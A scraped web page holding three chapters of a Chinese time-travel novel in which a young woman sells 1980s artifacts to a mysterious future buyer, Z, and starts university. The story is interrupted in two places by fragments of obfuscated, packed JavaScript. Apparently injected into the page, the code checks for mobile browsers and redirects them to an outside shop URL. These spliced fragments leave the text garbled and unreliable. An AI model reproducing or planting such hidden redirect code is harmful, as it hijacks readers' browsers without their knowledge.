“一本赚几分钱,好的时候一天能挣块儿八毛的。”安玥抹了抹眼睛,“前阵子省城大学来收资料,给了九十块,那是最大的一笔了。钱我都留着,准备上大学用。” 她适时抛出“省城大学”这个挡箭牌。 果然,两人听到这个,表情松动了。 “省城大学?怎么回事?” 安玥把周明远和秦教授的事简单说了,没提具体金额,只说“给了些资料费”。又从屋里拿出那张文化站的收据和秦教授给的信封——当然,里面只剩二十块钱了。 两人传看着收据和信封,又问了几个细节,终于点头。 “行,情况我们了解了。”年长的站起身,“安玥同志,你这种情况,如果真考上大学,可以申请助学金。到时候来教育局填表。” “谢谢领导!”安玥连连鞠躬。 送走教育局的人,安玥关上门,靠在门板上长出一口气。 看来有人举报她了。 不管是谁,这一关算是暂时过了。有了教育局的核查背书,她手里那点钱的来历就更合理了。 傍晚,安玥煮了碗面条,刚端上桌,系统提示音就响了。 是Z。 “在吗?” 安玥放下筷子,擦擦手点开界面。这段时间她和Z的线上交流确实变多了些。当然,主要还是买卖。 Z又陆续从她这儿买走了几本七八十年代的《大众电影》杂志、一套残缺的连环画,甚至还有两瓶没开封的八十年代雪花膏。 安玥每次都把东西包装得极具时代风情,描述写得像散文。比如那两瓶雪花膏,她的描述是:“旧历平民女子的护肤仪式,铝盖开启时那一声‘噗’的轻响,是朴素年代里对自己的一点温柔犒赏。” Z每次看完描述都会沉默一会儿,然后爽快付款。 这次他发来的消息却有点不一样。 “你之前提到的那批工人笔记里,有一页提到‘食堂李师傅做的糖水,甜得齁嗓子,但大家都爱喝’。这种细节,你是怎么留意到的?” 安玥愣了愣。这是她随手写进某本笔记描述里的闲笔,是从真实内容里提炼的。有本笔记确实记了某天食堂发了糖水,工友们抢着喝的热闹。 她回复:“整理的时候看到的。工人们记的不全是生产数据,也有生活琐事。我觉得这些更有温度,就写进描述了。” 那边过了一会儿才回复:“温度……这个词用得很有意思。在我们这里,食物都是营养配比最优化合成的,不会甜得齁嗓子,也不会有人抢着喝。” 安玥挑了挑眉。未来人连吃饭都这么无趣? 她半开玩笑地打字:“那你们错过了一种很重要的体验——抢着吃的东西,就是比单独吃香。” 这次Z回复得很快:“就像你描述的旧历年代生活的烟火气?” “对。”安玥来了谈兴,“那时候邻里之间借棵葱、还头蒜,夏天在院子里搭凉床乘凉,冬天围炉子烤红薯……都是这种烟火气。” 她打完这行字,忽然觉得自己像个推销怀旧旅游的导游。 Z那边显示“正在输入……”好一会儿,消息才过来:“听起来很热闹。咱们现在这个时代,邻里之间很少往来。食物直接配送,不需要借葱还蒜。” 安玥忽然有点同情这家伙了。高科技带来便利,但也把人情味过滤掉了吧? “那你平时除了工作……我是说,除了你做的研究,还有什么消遣?”她问完就后悔了——这问题太私人,不符合她专业卖家的人设。 但Z似乎不介意:“大部分时间在实验室。偶尔会看一些旧历年代的文化资料,就像从你这里买的那些。” “就这?” “嗯。” “不去玩点什么?” “虽然有全息拟真游戏、星际旅行模拟、思维沉浸体验馆。”Z列举道,“但我更喜欢看旧历资料。那些东西更真实。” 安玥看着“真实”这个词,心里某处被轻轻戳了一下。 她想起前世熬夜加班时,偶尔会刷到一些怀旧短视频。八九十年代的老街景、缝纫机的嗒嗒声、港台老歌的磁带……那时候觉得土,现在想来,那种生活确实有种数字影像无法替代的真实。 “也许你可以试试不高效的生活,我现在就是这个哈哈,”她鬼使神差地打字,“比如吃一次甜得齁嗓子的东西,或者跟邻居借点根本不需要的调料。” 发出去后,她又赶紧补了一句:“当然,我只是随口说说。” “你的建议很有趣。我会考虑。” 对话到此为止。安玥关掉系统,继续吃那碗已经有些坨了的面条。 她没把这段闲聊太当回事。维系客户嘛,偶尔聊点人情味的话题,有助于提高客户粘性。 这是她前世做品牌时就懂的道理。 在未来时空的某个全息屏幕前,某人把“甜得齁嗓子”和“借葱还蒜”这两个词,认真记进了私人备忘录里。 日子一天天过去,七月中旬,天气越来越热。 安玥用卖废品的零钱,买了个西瓜。不是整个买,是跟赵婶拼着买。赵婶家四口人,她一个人,合买一个,对半劈开。 傍晚,她把西瓜泡在井水里冰着,等天黑了端出来,坐在院子里用小勺挖着吃。瓜很甜,籽很多,她一边吃一边吐籽,赵家小孙子在隔壁院子哇哇哭,好像是摔了一跤。 安玥听着这些声音,忽然觉得,这样慢吞吞的日子也挺好。 如果不用提防世界规则的排异,不用算计每一分钱,不用惦记那个失踪的林知远就更好了。 说到林知远,她这几天又翻了一遍手头所有的资料,包括那些还没卖掉的零散图纸。除了那张“星-改-3”,再没找到类似的标记。 秦教授那边没再联系,周明远倒是来过一封信,说秦教授已经回首都了,留了话让她有消息就写信到学校。 Z也没有再提寻人的事,仿佛那天的委托只是随口一说。 安玥乐得清闲。她开始悄悄置办上学的行当:去百货商店扯了几尺布,准备做床单和被套;买了个崭新的搪瓷脸盆,印着红双喜字;还有牙刷牙膏、毛巾肥皂……每买一样,她就在心里划掉一笔预算。 七月下旬的一天下午,安玥正在院子里洗衣服,邮递员的喊声从巷口一路传来:“安玥!挂号信!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066593|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她手一抖,肥皂掉进盆里。 跑出去接过信封,厚厚的,落款是省招生委员会。她赶紧撕开信封。 里面是一张录取通知书。 “……安玥同学,你已被我校机械工程系录取……” 机械工程。她报志愿时填的,想着这个专业实用,毕业后好找工作。 现在真考上了,反而有点恍惚。 赵婶听到动静出来,看见她手里的纸,眼睛瞪得溜圆:“安玥!这是录取通知书?!” “嗯。”安玥把通知书递过去。 赵婶不认几个字,但认识大红公章。她一拍大腿:“哎哟!真考上了!大学生!咱们巷子出大学生了!” 她这一嗓子,左邻右舍都出来了。通知书被传看着,赞叹声、羡慕声、还有几家大人揪着自家孩子耳朵说“看看人家安玥”的训斥声,热闹得跟过年似的。 王主任很快也知道了,特意跑过来,笑得合不拢嘴:“好孩子!给咱们街道争光了!助学金的事包在我身上!” 当晚,赵婶硬拉着安玥去她家吃饭,炖了鸡,炒了鸡蛋,还开了瓶白酒。安玥被灌了两小盅,脸红扑扑地回家,躺在床上傻笑。 笑着笑着,眼泪就出来了。 她想起前世那个在小县城拼命读书,终于考上名牌大学的自己;想起熬夜加班猝死时电脑屏幕上没写完的方案;想起刚穿来时的生存倒计时…… 第二天,安玥去街道办办了户口迁移证明,去派出所转了粮油关系。上大学后,吃饭要靠粮票和助学金了。 忙完这些,她回到家,终于有时间好好规划下一步。 九月开学,现在七月底,还有一个多月。她得把家里的事处理好:房子怎么办?这些还没卖掉的资料怎么处理?还有那个至今没露面的“林知远”的线索,要不要继续找? 正想着,系统提示音又响了。 这次是系统商城的新提示:【月度限时特惠:旧历年代物品深度鉴定三次服务大放送,现价9999。是否购买?】 深度鉴定?安玥点开说明。这项服务不仅可以评估物品的市场价值,还能分析其技术含量、历史背景,甚至追溯可能的来源。 她心动了。手头那些零散图纸里,说不定真有漏网之鱼。 咬咬牙,买了。 【购买成功。剩余鉴定次数:3。当前纪元币余额:290001。】 她立刻从那一堆还没整理的图纸里,随机抽了三张看起来边缘破损、字迹模糊的草稿。 【深度鉴定启动……】 蓝光扫过第一张。 【鉴定完成:1959年手绘轴承改良草图。技术含量:低。历史价值:低。来源追溯:绘制者为纺织厂配件分厂技术员张建国(已退休)。无特殊关联。】 安玥撇撇嘴,浪费一次。 第二张。 【鉴定完成:1968年齿轮参数计算草稿。技术含量:中。历史价值:中。来源追溯:绘制者为……警告,数据部分缺失。检测到边缘有铅笔涂抹痕迹,经还原,疑似“林工说此处可行”字样。】 安玥坐直了身体。 林工?林知远? “继续分析涂抹痕迹的关联性。”她下令。 【分析中……涂抹笔迹与正文笔迹不同,为另一人所加。根据压力痕迹分析,添加时间晚于正文约1-3天。关联性推测:可能为他人批注。】 “能判断批注者的笔迹特征吗?” 【数据不足。但可提取笔迹力度曲线,存档备用。】 也行。安玥把这张图纸单独收好。 第三张。 这张更破了,是一张表格的背面,用圆珠笔写着几行算式,还有几个像代号一样的字母组合。 【鉴定完成:旧历年代简易加密算式。技术含量:高。历史价值:待定。来源追溯:笔迹与“星-改-3”图纸标注者相似度87%。算式为自定义替换加密,密钥疑似日期相关。初步破译片段:“验证……失败……方向……错……”】 安玥屏住呼吸。 “继续破译,需要什么条件?” 【需更多同源加密文本,或密钥提示。】 同源加密文本……她手头肯定没有了。但也许,在别的地方还有? 她忽然想起秦教授说的,林知远痴迷于理论推演,留下过一些笔记。 那些笔记会不会用了类似的加密方式? 而Z要找的,会不会就是这些加密笔记里隐藏的东西? 安玥把三张图纸摊在炕上,盯着那些模糊的字迹和算式。 窗外的蝉鸣一声高过一声。 她忽然觉得,这个即将离开的小县城,这个她以为马上就能告别的过去,好像还藏着很多她没弄明白的秘密。 15. 第 15 章 八月底,暑气未消。 安玥把最后一批挑拣过的废纸卖给废品站老刘,换回六块三毛钱。她的小院已经清空了,能卖的都卖了,不能卖的那几件未来可能值钱的存货被她仔细包好,塞进一只旧藤箱,准备带走。 录取通知书、户口迁移证、粮油关系证明,都用塑料袋裹好,贴身放着。 邻居们知道她明天要走,赵婶送了一罐自家腌的咸菜,吴大娘塞给她一双新纳的鞋垫。王主任特意来了一趟,把街道奖励的三十块钱和助学金申请表交到她手里。 “到了省城,好好学。”王主任拍拍她的肩膀,“有啥困难,写信回来。” 安玥一一道谢。 傍晚,她坐在院子里吃着晚饭,看着这个住了几个月的小院,心里有点说不清的滋味。 但来不及感慨了。生存倒计时还悬在头顶呢。 她打开系统面板。 【高级防护Buff剩余:5天11小时23分】 账户纪元币余额:290001。 够买14天高级防护,还能剩点。但她得省着用——到了省城,用钱的地方更多,纪元币兑换华币的汇率太坑,非必要不兑换。 而且,她有种隐隐的不安。 最近几天,那种被世界规则排斥的恶意感似乎又回来了。不是之前那种明目张胆的意外,而是一些细小的、近乎巧合的倒霉:晾衣服的竹竿突然断裂,差点砸到头;去供销社买东西,柜台上的算盘莫名滑落,擦着她手背掉下去;甚至昨晚睡觉时,屋顶掉下一小撮土,正好落在她枕边。 系统提示过,随着她在这个世界存在时间的延长,排异反应会逐渐增强。初级防护只能抵挡轻度的攻击,高级防护能抵挡中度的攻击,但如果是重度甚至致命级呢? 她得赚更多纪元币,买更高级的防护,或者找到彻底解决排异的方法。 正想着,系统提示音忽然响起,是全域公告: 【检测到用户累计交易额突破500000纪元币,信用评级达到“卓越”,解锁新权限:专属店铺功能。】 【您可以创建个人店铺,自定义店铺名称、简介,拥有独立展示空间,并可设置会员分级、发布预售、举办专场拍卖等。】 【是否立即创建店铺?】 安玥眼睛一亮。 专属店铺?她立刻点击确认。 界面跳转到创建页面。她想了想,在店铺名称栏输入:遗珍拍卖阁 简介栏,她斟酌片刻,写下:专营旧历纪元遗存珍品,从生活器物到技术文书,从影像记忆到手札随想。每一件物品,都是时光的切片,承载着彼时的温度与故事。本阁甄选孤品,只为遇见懂它的有缘人。 写完,自己读了一遍。嗯,有那味儿了——神秘、专业、略带文青气质,正好契合未来人对旧历的浪漫想象。 点击确认。 【店铺创建成功!您的“遗珍拍卖阁”已正式开业!系统将免费为您进行一次全频道推广。】 几乎是同时,公共频道炸了。 “卧槽!遗珍拍卖阁!是那个卖底片和图纸的大佬?” “终于开店铺了!关注了关注了!” “大佬求上新人首秀!钱包已备好!” “这简介写得好有感觉……阁主一定是个很有故事的人吧?” 安玥看着刷屏的留言,嘴角微微翘起。很好,品牌效应开始建立了。 她关掉公共频道,开始规划店铺首秀。 手头还有一批没处理完的零散物品:几本七十年代的《民族画报》、一套旧茶具、一枚褪色的劳动奖章、还有几卷没冲洗的胶卷。 这些东西单独卖价值不高,但组合起来,包装成一个“旧历平民生活记忆套装”,说不定有奇效。 她启动系统的【沉浸式记录模块】,给每件物品拍摄细节,还特意拍了一段小视频。 然后她给套装添加描述: 「一套来自旧历七十年代末至八十年代初的平民生活实物组。 包含:《民族画报》三本,记录当时的社会风貌与集体审美;茶具曾陪伴某个工人度过无数个值班的夜晚,杯身磕痕是生活的记录; 劳动奖章,褪去的红色是荣誉被时间打磨后的温柔; 未冲洗胶卷两卷,里面封存着某个家庭的假日记忆。套装整体品相完好,情感浓度极高。适合作为旧历日常生活研究的标本收藏。」 定价上,她设了个一口价:50000纪元币。同时开启VIP客户提前预览和预订通道。 刚上架不到一分钟,系统提示就响了。 【您的VIP客户Z已查看商品。】 【Z已预订该商品。】 安玥笑了。这位VIP客户倒是很给她捧场。 她点开和Z的私信窗口,主动发了条消息:“感谢Z先生支持店铺首秀。这套装里的胶卷,需要我这边先冲洗出来吗?当然,保留原样可能更有意味。” Z的回复很快:“保留原样。另外,恭喜开店。” “谢谢。”安玥打字,“以后会有更系统的专题拍卖,您有什么特别想收的品类吗?” Z那边沉默了一会儿,才回复:“我对旧历技术人员的私人手札、工作笔记尤其感兴趣。特别是那些记录了失败尝试、非主流思路的。” 安玥不动声色:“明白了。我会特别留意这类物品。不过,这类资料往往可遇不可求。” “我知道。”Z的回复难得带了点情绪,“所以才更需要专业的阁主帮忙留意。” 专业阁主。安玥对这个称呼很满意。 “我会尽力。”她回复,“另外,过几天我可能要忙一段时间搜寻货源。线上联系可能不会像现在这么及时,但店铺会定期上新。” 她这是在为去省城上学做铺垫。总不能告诉Z,阁主要去读大学了。 “注意安全。”Z的回复简单,但安玥莫名觉得,这不像客套话。 “会的。毕竟,寻宝的路上总得留着小命才能继续寻宝。”她半开玩笑地回了一句,结束了对话。 关掉系统,天色已经完全黑了。 安玥打水洗漱,躺在床上,却睡不着。 明天就要走了。去一个陌生的城市,开始一段新生活。而她收废品、躲排异、倒卖古董的旧生活将以另一种形式继续。 还有那个神秘的Z,还有失踪的林知远,还有秦教授……这些都还没理清。 她在黑暗中叹了口气,闭上眼睛。 睡吧。明天还得赶早班车。 第二天凌晨五点,天还蒙蒙亮,安玥就起床了。她把藤箱和铺盖卷捆好,最后检查了一遍屋子,锁上门。 钥匙交给王主任保管,万一以后还要回来呢。 巷子里静悄悄的,只有早起的麻雀在叫。她背着行李走到巷口,回头看了一眼。 小院沉默地立在晨雾里。 她转身朝汽车站走去。 班车摇晃了四个多小时,中午时分驶入省城。安玥按录取通知书上的地址,找到机械工程系的报到点。 校园里人声鼎沸,拉着横幅,摆着桌椅。穿白衬衫的学生干部们热情地指引新生。 安玥报到、交材料、领了宿舍钥匙。她的宿舍在女生楼三楼,306。 拖着行李爬上三楼,推开306的门——四张铁架床,靠窗两张已经有人了,正在铺床。看见她进来,两个女生停下动作。 “新室友?”靠门边下铺的女生个子高挑,扎着马尾,很爽朗的样子,“我叫李红英,本省的。” “我叫王丽娟。”靠窗下铺的女生戴着眼镜,文文静静的,“也是本省的。” “你们好,我叫安玥。”安玥笑了笑,把行李放到靠门的上铺,“我从下面的县里来的。” “哇,一个人来的?厉害!”李红英帮着把藤箱举上去,“你爸妈没送?” “他们工作忙。”安玥含糊过去,开始铺床。 宿舍条件比她想象的好。虽然拥挤,但有电灯,有公用的书桌,楼道尽头有洗漱间和厕所。 整理完床铺,安玥拿出从家里带来的咸菜,分给两个室友。李红英很爱吃,王丽娟腼腆地道谢。 下午,安玥去办了饭票,买了些日用品。校园很大,教学楼、图书馆、实验楼,还有大操场。她慢慢走着,熟悉环境。 傍晚,她去食堂打饭。她打了最便宜的套餐,找了个角落坐下。 食堂里挤满了学生,吵吵嚷嚷的。她安静地吃着,观察着周围。 这就是八十年代的大学生活了。 晚上,宿舍又来了最后一个室友,叫张秀兰,是从农村考来的,话不多,很朴实。 四个女生简单聊了聊,就各自收拾。九点半,宿舍楼统一熄灯。 安玥躺在陌生的床上,听着室友们均匀的呼吸声,慢慢睡着了。 接下来几天,是新生入学教育、领书、开班会。安玥很低调,上课认真听,下课就回宿舍或去图书馆。她需要尽快捡起专业知识——虽然前世学过,但隔了太久,而且80年代的教材和后世差别不小。 同时,她也没忘记她的主业。 系统里的防护Buff一天天减少。她在遗珍拍卖阁上架了几批小货都卖得不错,进账几万纪元币。 但世界规则对她的排异反应还是增强了。 开学第四天,她去图书馆还书。楼梯是那种老式的木楼梯,走的人多,木板被磨得光滑。 她抱着书往下走,走到二楼转角时,脚下突然一滑,木板毫无征兆地断裂了! “咔嚓——” 她整个人往下坠,本能地抓住旁边的扶手。但扶手年久失修,螺丝松动,被她一拽,竟然也歪了。 电光石火间,也许是系统的防护Buff生效了。 一股无形的力量托了她一下,缓冲了坠势。但她还是摔了下去,膝盖和手肘重重磕在楼梯上,怀里的书散落一地。 疼痛袭来,她眼前发黑。 “同学!你没事吧?!”几个路过的学生跑过来。 安玥咬着牙坐起来,检查伤势。膝盖擦破了一大片,渗着血。手肘肿了,左手腕扭了,一动就疼。 如果没有防护Buff,刚才那一摔,很可能就是脊椎受伤,甚至更糟。 “送医务室!”一个男生说着就要背她。 “不用不用,我能走。”安玥勉强站起来,一瘸一拐地往医务室挪。 校医给她消毒包扎,开了点止痛药。“楼梯板怎么会突然断呢?昨天还好好的。”校医嘀咕着。 安玥没说话。她知道为什么。 世界规则的排异升级了。它不再满足于制造巧合,而是开始直接破坏她所处的环境。 回到宿舍,李红英看她受伤,吓了一跳:“怎么搞的?” “楼梯板断了,摔了一跤。”安玥苦笑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076722|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “天啊,这也太倒霉了!学校该修修了!”李红英帮她打水,“你这几天别乱跑了,好好养着。” 安玥点头,爬上床,拉上帘子。 她打开系统面板。 【高级防护Buff剩余:3天05小时44分】 刚才那一摔,系统日志里多了一条记录: 【检测到中度偏重排异攻击。高级防护已抵消致命伤害,用户仍受轻微物理损伤。建议尽快提升防护等级或寻找根本解决方案。】 根本解决方案?她要有,还用得着这么拼命? 安玥咬了咬嘴唇。她需要更多纪元币,买更长的防护,或者……商城里有更高级的防护道具吗? 她翻看商城列表。果然,在高级防护Buff下面,多了一个新的商品: 【针对性环境稳定锚(初级):可在固定地点形成弱稳定场,小幅削弱该区域内的排异反应。有效期30天。价格:100000纪元币。】 十万!而且只是初级,只能削弱,不能消除。 但这是除了防护Buff外,第一个能主动对抗排异的道具。 安玥看了看账户余额:卖了几批货后,现在有342000纪元币。 买这个锚,剩下二十四万,还能买十二天高级防护。 她犹豫了几秒,一咬牙,买了。 【购买成功。请选择部署地点。】 安玥选择“当前所在位置”——省城大学女生宿舍306室。 【部署中……部署完成。该区域环境排异强度降低50%。请注意,稳定锚仅对固定区域生效,离开区域后防护效果消失。】 50%的削弱岂不是薛定谔的防护吗?安玥吐槽道。但至少,在宿舍里能稍微安全点。 她又续了十天的防护Buff,花费200000纪元币。 账户余额瞬间缩水到142000。 钱真不经花。 安玥关掉系统,靠在墙上,看着包扎好的膝盖。 膝盖很疼,但更让她心惊的是这个世界在越来越用力地想要抹杀她。 她得加快速度。不仅仅是为了赚钱续命,更是为了找到一条生路。 也许,那个失踪的林知远留下的线索,会是关键? 正想着,系统私信提示音忽然响了。 是Z。 “这几天没见你上新。寻宝之旅还顺利吗?” 安玥看着这句话,忽然有点恍惚。在这个举目无亲的时空,刚经历了一场惊险的排异攻击,伤口还疼着,却有一个遥远时空的人主动发来问候。 安玥看着这行字,宿舍里很安静,新室友们已经睡着了,窗外是陌生的省城夜色。一种孤独感刺了她一下。 虽然她知道,Z问的是生意。 但她忽然很想说点别的。 她打字:“不太顺利。今天寻宝的时候绊了一跤,有点狼狈。” 消息发出去,她有点后悔。这太含糊了,不像专业卖家该说的话。 但Z的回复出乎意料地快:“受伤了?” 安玥愣了愣。 “一点小伤。”她回复,“不影响继续寻宝。” 那边沉默了一会儿,发来一条很长的消息: “旧历遗迹往往结构不稳,环境也充满不确定性。要自身安全为第一。如果你需要,我可以提供一些资源,虽然可能不如你手头的工具专业,但至少能提前预警结构风险。” 安玥看着这条消息,心里五味杂陈。 他以为她是在危险的旧历废墟里探险。 她不能接受,也无法解释。但这份好意在她心里生出了一丝暖意。 “谢谢你的好意。”她斟酌着回复,“我有自己的防护措施。只是今天有点大意了。以后会更小心的。” 她顿了顿,又加了一句:“而且,寻宝的路上,受点小伤也是勋章,哈哈。” 她试图把气氛拉回轻松。 Z的回复却依然认真:“勋章是给凯旋者的。我希望你每次都能平安归来。” 安玥看着这行字,指尖在虚拟键盘上停了一会儿。 然后她笑了,摇摇头,打字:“Z先生,你这话说得,好像我是要去远征似的。放心,我很惜命的。毕竟,还有那么多宝贝等着我去发现,卖给像你这样识货的客人呢。” 生意。她得把话题拉回生意。 果然,Z的回复道:“说到宝贝,你之前提过的旧历技术人员手札有新的线索吗?” “还在找。”安玥回复,“这类物品往往藏在很不起眼的地方,甚至可能被当事人自己销毁了。需要时间和运气。” “我明白。”Z的回复顿了顿,“如果有消息,随时告诉我。报酬不是问题。” “好。” 对话结束。 安玥关掉系统,躺回床上。 膝盖还在隐隐作痛。宿舍窗外,夜色渐深,城市的灯火远远近近地亮起来。 安玥闭上眼睛,轻轻叹了口气。她对Z应该回复得专业点的,应该说一些圆滑的带着营销意味的话。 她知道Z是谁吗?不知道。 Z知道她是谁吗?更不知道。 不过,她披着马甲和这个永远不可能见面,也不可能知道她底细的Z倾诉一下。在这个举目无亲的世界要一点理解和共鸣,也许是安全的吧? 就当交了个远方的笔友吧。她迷迷糊糊地想。 16. 第 16 章 安玥膝盖的伤养了三四天才勉强能正常走路。 安玥每天瘸着腿去上课,李红英看不过去,主动帮她打饭打水。王丽娟默默把自己的课堂笔记多抄一份给她。连最内向的张秀兰,有天晚上也悄悄在她枕头边放了两个煮鸡蛋。 “俺娘说,受伤了吃鸡蛋好得快。”张秀兰说完就红着脸爬回自己床上。 安玥捏着还温热的鸡蛋,心里某个地方软了一下。 八十年代的大学宿舍条件虽然简陋,但很有人情味。 伤好些后,安玥开始琢磨新财路。 系统里的纪元币还剩十四万多,够买一周防护。但环境稳定锚只能削弱宿舍区域的排异,她总不能一辈子躲在宿舍里。 收废品在校园里走不通,但大学有大学的好处。 机械工程系有金工实习车间,有各种淘汰的旧设备、旧图纸。图书馆有大量过期期刊和资料室。更重要的是,这里有整个时代最聪明的一批年轻人,和他们背后的关系网。 安玥开始有意识地在系里活动。 上课坐前排,认真记笔记。下课问问题,既显认真又不招人烦。她很快在教授和同学眼里留下了刻苦但家境困难的印象。 第二周,系里组织参观校办工厂。安玥跟着队伍,眼睛却扫过每个角落。 工厂是五十年代建的,设备老旧,但保养得还行。墙角堆着些淘汰的零件、报废的机床,还有几箱蒙尘的技术档案。 参观结束,安玥故意落在最后,跟带队的王老师搭话。 “王老师,咱们厂这些报废设备,就堆在这儿吗?” 王老师推了推眼镜:“是啊,没地方处理。按说该当废铁卖,但手续麻烦,就一直堆着。” “那这些旧档案呢?”安玥指着那些纸箱。 “那对垃圾更没人要了,都是六七十年代的东西,技术早过时了。”王老师叹气,“图书馆都不要,说占地方,我们也懒得搬。” 安玥心里有数了。 过了两天,她拿着系里开的贫困生证明,去找校办工厂的负责人。 “主任,我叫安玥,机械工程系大一新生。”她态度谦恭,“家里困难,想找点勤工俭学的活儿。听说厂里有些旧档案需要整理,能不能让我试试?不要工资,管顿饭就行。” 主任是个胖乎乎的中年妇女,打量她几眼:“档案管理?你一个学机械的会这个?” “我自学过。”安玥面不改色,“而且整理技术档案,也能加深对专业知识的理解。” 主任想了想,反正那些破烂堆着也是堆着,有人愿意免费整理,何乐不为? “行,你下周开始,每天下午没课的时候过来。饭票我这儿有,干得好再说。” “谢谢主任!” 安玥走出办公室,嘴角微扬。 接下来的一周,安玥每天下午都泡在校办工厂那间堆放旧档案的仓库里。 仓库很乱,纸箱堆到天花板,灰尘积了厚厚一层。她戴上口罩,挽起袖子,开始分类。 大部分确实是过时的技术手册、生产记录,但也有不少手稿、图纸,甚至还有几本退休工程师的工作日记。 安玥一边整理,一边用系统扫描。大部分价值平平,但偶尔有惊喜。 安玥把这些高价值物品悄悄收起来,其余按年份、类别整理好,贴上标签。 周五下午,主任来验收。 看到原本杂乱无章的仓库变得井井有条,档案分门别类码放在新钉的木架上,每箱都贴了明细标签,主任惊呆了。 “小安,你这……太专业了!” 安玥擦擦额头的汗:“应该的。主任,我还做了个索引,以后要找什么,按索引查就行。” 她递上一本手写的目录。 主任翻看着目录,越看越满意:“好好好!小安,你真是帮了大忙!这样,以后每月给你十五块钱补助,饭票照给。另外……”她压低声音,“仓库里有些实在没用的废纸,你处理掉,卖的钱你自己留着,就当辛苦费。” 安玥眼睛一亮:“谢谢主任!” 补助是小事,处理废纸的权利才是关键。 当天晚上,她就在系统店铺上架了本工作日记。 这次她没做太多包装,只在描述里写:“旧历工程师的失败记录,共十七次尝试,远比成功更动人。” 定价十万纪元币。 上架不到十分钟,就被一个陌生的买家拍下。 安玥看着到账的九万纪元币,心里踏实了些。 第二天是周六,宿舍里只有她和张秀兰。李红英回家了,王丽娟去图书馆。 安玥正准备去校办工厂,系统提示音突然响了。 是Z。 “在吗?” 安玥看了眼时间,上午九点。她回复:“在。Z先生有什么需要?” “看你店铺上了新货,但不是我感兴趣的品类。”Z的回复很直接,“之前提到的技术人员手札,有进展吗?” 安玥想了想。那本工作日记算手札,但显然不是Z要找的。 “暂时没有特别符合您要求的。”她如实说,“不过我最近接触到了更多旧技术档案,如果有发现,会第一时间通知您。” “好。”Z停顿了一下,忽然换了个话题,“你的伤好点了吗?” 安玥一愣。这人还记得? “好多了,谢谢关心。”她打字,“已经能正常走动了。” “那就好。”Z的回复难得地带了点犹豫,“其实我最近也在尝试一些低效的事情。” 安玥来了兴趣:“哦?比如?” “比如,尝试了一种很甜的食物。”Z说,“按照你说的,甜得齁嗓子的那种。” 安玥忍不住笑出声:“感觉如何?” “很奇特。”Z的回复很认真,“甜味剂过量,不符合营养标准,但确实有种原始的满足感。” “恭喜你,解锁了新体验。”安玥调侃,“下次可以试试借邻居的调料。” “我会考虑。不过,我最近在看一些旧历年代的影像资料,看到人们聚在一起吃饭、聊天,那种氛围……在现实里很难感受到。” 安玥看着这行字,忽然有点同情这家伙了。 未来科技那么发达,人却活得这么寡淡? “也许你可以试着交个朋友?”她半开玩笑地打字,“不是生意伙伴那种,就是纯聊天的朋友。” 这次Z沉默了很久,久到安玥以为他下线了。 终于,消息来了:“我的朋友,大部分是工作关系。” 意料之中。 安玥忽然想起前世那些深夜加班后,一个人在出租屋里刷手机的孤独感。科技连接了世界,却让人更孤独。 “那你现在在干嘛?”她问。 “和你聊天。” 安玥:“……” 这话接得,让她一时不知怎么回。 她转移话题:“说起来,你对旧历时代好像特别感兴趣?” “嗯。”Z的回答很简洁,“因为真实。” “真实?” “数据记录的历史是扁平的。”Z的解释带着一种学者般的冷静,“那些事件、人物、影响具体不到某一天,某个普通人是怎么过的,吃什么,想什么,为什么笑,为什么哭……这些数据里没有。” 安玥明白了。 “那你找到想要的真实了吗?”她问。 “在你这里,找到了一些。”Z的回复很快,“你描述的物品,还有那些闲笔……让我能想象出那个时代的温度。” 安玥有些汗颜。那些营销话术全是她胡诌的…… “那我以后多写点。”她半真半假地承诺,“不过,这可是增值服务,要加钱的。” “可以。”Z的回复毫不犹豫。 安玥笑了。这人单纯得有点可爱了。 “开玩笑的。”她打字,“就当是给远方笔友的分享。” “笔友?”Z似乎对这个词很陌生。 “就是通过写信交流的朋友。”安玥解释。 “明白了。”Z似乎不想结束闲聊,“那么,笔友111,你今天有什么要分享的吗?” 安玥看着这个称呼,愣了一下,随即笑开,111是她在系统上随手取的昵称。 她想了想,决定继续维持人设,同时给Z分享一些旧历见闻——当然,是经过模糊处理的。 “其实我今天早上开工前,看到一些挺有意思的景象。”她打字,“我暂住的老建筑附近,有种叶子很大的树,阳光照下来,地上全是斑斑点点的影子。远处有个喇叭在放歌,听调子挺老的,但很多人跟着哼。” 她停了一下,继续写:“还看见个年轻人,骑着两轮车,就是旧历那种靠人力驱动的——后座夹着东西,骑太快掉了一地。我帮他捡,他慌慌张张道谢,挺有意思的。” “老建筑?”Z追问,“是废弃的工厂,还是研究所?” 安玥心里警铃微响。Z的问题开始具体了,她得小心别露馅。 “有点像工厂仓库,堆了很多旧档案。”她保持模糊,“具体以前是做什么的,我也不太清楚,年代太久远了。” “小心建筑结构。”Z提醒道,“旧历年代的很多建筑,建材老化严重。你上次受伤,很可能就是结构问题。还有叶子很大的树,是梧桐吗?旧历很多地方种这个。两轮人力车,应该是自行车。你在描述的,是旧历校园的常见景象吧?” 安玥心里一惊,Z太敏锐了。 她赶紧补救:“可能吧。我对旧历的建筑分类不太了解,只是觉得那地方挺安静的,年轻人多,有点像资料里描述的学院环境。” “学院……”Z重复了这个词,“确实,旧历的学院环境,往往保留了很多时代的细节。你能接触到这样的环境,对寻宝工作很有帮助。” 安玥松了口气。看来Z以为她是在某个废弃的旧历学院遗址里寻宝。 